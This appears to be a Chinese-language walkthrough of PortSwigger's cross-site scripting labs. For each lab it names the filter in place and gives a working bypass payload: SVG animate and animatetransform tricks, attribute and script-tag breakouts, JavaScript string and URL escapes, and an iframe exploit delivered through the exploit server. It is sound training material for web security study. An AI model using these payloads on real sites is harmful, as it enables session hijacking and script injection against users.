实验地址:https://portswigger.net/web-security/all-labs
Lab: Reflected XSS into HTML context with nothing encoded
第一题没什么好说的,最简单的xsspayload
代码语言:javascript复制<script>alert('xss')</script>
Lab: Reflected XSS into HTML context with most tags and attributes blocked
阻止了大部分的标签和属性,要求绕过waf并执行document.cookie
.
首先Fuzz一波标签和属性,发现能利用的就是body,除了onresize外其他属性都较难触发。
Payload:
代码语言:javascript复制<body onresize=alert(document.cooike)>
这边研究了半天发现还是Not solved,看了实验室备解决方法才发现是需要用户不进行互交,csrf构造代码。
代码语言:javascript复制<iframe src="https://your-lab-id.web-security-academy.net/?search=">" onload=width=500>
Lab: Reflected XSS into HTML context with all tags blocked except custom ones
题目: 除自定义标签外所有标签都会被拦截。
随便定义了个aaaa标签发现又是未完成,看了文档发现又得需要Go to exploit server
Payloa:
<script>location = "https://your-id.web-security-academy.net/?search=
自定义标签没法用src onerr onload等事件,但是官方payload通过tabindex=1 (规定当使用 "tab" 键进行导航时元素的顺序。) 再通过url#x定位标识符自动获取标签焦点实现onfocus事件。
Lab: Reflected XSS with event handlers and href
attributes blocked
题目: 事件和href属性都被ban了,提示说注入矢量并单击矢量弹出警告。
这一题很早时候在学svg黑魔法的时候就做过了,是时候再走一遍流程了。
可以看到除了animate、image、title、svg、a外其他标签和事件都是不支持的。
这题需要利用svg animate利用attributeName(父元素需要被改变的属性名)
payload :
代码语言:javascript复制<svg><a><text x=100 y=100>123</text><animate attributeName=href to=javascript:alert(1)></a></svg>
//在svg内需要加上坐标文字才能显示出来
Lab: Reflected XSS with some SVG markup allowed
题目直说了允许使用SVG标签。
爆破发现animatetransform、image、title、svg标签及onbgin属性可用。
Payload:
代码语言:javascript复制 <svg><animatetransform onbegin=alert(1)></svg>
Lab: Reflected XSS in canonical link tag
题目:将XSS插入Link标签
提示:
ALT SHIFT X
- CTRL ALT X
- Alt X
随便点一个先翻一下link
标签,发现url?PostId=8
都在href
里,用单引号闭合。
Payload :
代码语言:javascript复制?s'accesskey='x'onclick='alert(1)
Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped
提示:
在搜索和存在单引号和反斜杠转义,结果展示在JavaScript内。需要突破转义调用alert。
代码:
代码语言:javascript复制 <script>
var searchTerms = '123123123”//';
document.write('<img src="/resources/images/tracker.gif?searchTerms=' encodeURIComponent(searchTerms) '">');
</script>
这里涉及了html解析标签的机制,浏览器解析标签的顺序是:
遇到<script>
标签,去寻找<script>
结束标签,然后才解析标签里的内容
所以只需要直接嵌入结束标签即可
代码语言:javascript复制</script><script>alert()</script>
Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded
题目 :
本实验在搜索查询功能中包含一个反映的跨站点脚本漏洞,该漏洞对尖括号进行了编码。 反射发生在JavaScript字符串内。 为了解决此实验室问题,请执行跨站点脚本攻击,该攻击会突破JavaScript字符串并调用Alert函数。
过程:
位置还是和上一题一样,但是是转义了> 。发现单引号可以闭合,所以构造
代码语言:javascript复制';alert(1);//
看了官方这样也行'-alert(1)-'
Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
题目: 双引号、单引号、尖括号都被转义了,要求突破javascript弹窗。
’
和同时出现时候只将转义了,所以导致
’
可闭合。
Payload:
代码语言:javascript复制 ';alert();//
Lab: Reflected XSS in a JavaScript URL with some characters blocked
题目: 在JavaScript url中 某些字符被拦截。要求输出alert(1337)
看了还以为在留言处,没想到关键代码在其他地方:
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=3'}).finally(_ => window.location = '/')">Back to Blog</a>
尝试一番,奈何太菜。
官方答案:
代码语言:javascript复制https://your-lab-id.web-security-academy.net/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'
Lab: Stored XSS into onclick
event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
题目: 要求单击评论名称时弹窗
关键代码:
代码语言:javascript复制function onclick(event) {
var tracker = {
track() {}
};
tracker.track('https://url');
}
闭合单引号发现已被转义了,实体编码单引号' '
可解析
Payload :
代码语言:javascript复制http://123'-alert()-'
Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
题目:尖括号,单引号,双引号,反斜杠Unicode编码和反引号转义
代码:
代码语言:javascript复制<script>
var message = `0 search results for '123123'`;
document.getElementById('searchMessage').innerText = message;
</script>
这题实在没做出来,查了下是利用js模板及占位符解决的。
${}
里边是相当于js代码
例如 : var a = 1; console.log('一共有' a '个鸡蛋!')
使用占位符: console.log( `一共有${a}个鸡蛋!` )
参考:
https://www.zhihu.com/question/48648714
https://www.136.la/nginx/show-79683.html
https://developer.mozilla.org/zh-CN/docs/Web/SVG